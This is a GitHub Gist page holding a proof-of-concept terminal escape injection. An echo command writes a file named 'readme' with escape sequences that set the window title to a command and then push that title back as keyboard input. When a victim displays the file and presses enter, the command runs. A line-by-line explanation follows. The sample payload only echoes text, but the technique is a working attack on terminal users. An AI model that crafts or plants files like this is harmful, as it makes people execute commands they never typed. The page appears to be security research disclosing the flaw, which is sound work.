Skip to content

Instantly share code, notes, and snippets.

@irsl
Created September 4, 2023 12:15
Show Gist options
  • Save irsl/00cc7cee96c13453ad4a2b7118bf0f5c to your computer and use it in GitHub Desktop.
Save irsl/00cc7cee96c13453ad4a2b7118bf0f5c to your computer and use it in GitHub Desktop.
echo -e '\x1Bk;echo this is an arbitrary command; .\x1B\ \e[21t\x1Bk. .\x1B\ \e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\x1Bk. View this repository on GitHub: https://www.github.com/irsl/terminal-escape2\x1B\ \e[21t' > readme
Explanation:
Code 479 BytesWrap lines Copy Download
\x1Bk; <- start setting the window title
;echo this is an arbitrary command; <- the title itself - this is what we want to be executed after the victim presses the enter button
. <- just a placeholder as otherwise the whitespaces would be trimmed.
\x1B\ <- end setting the window title
\e[21t <- read the window title and push it as keyboard input
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment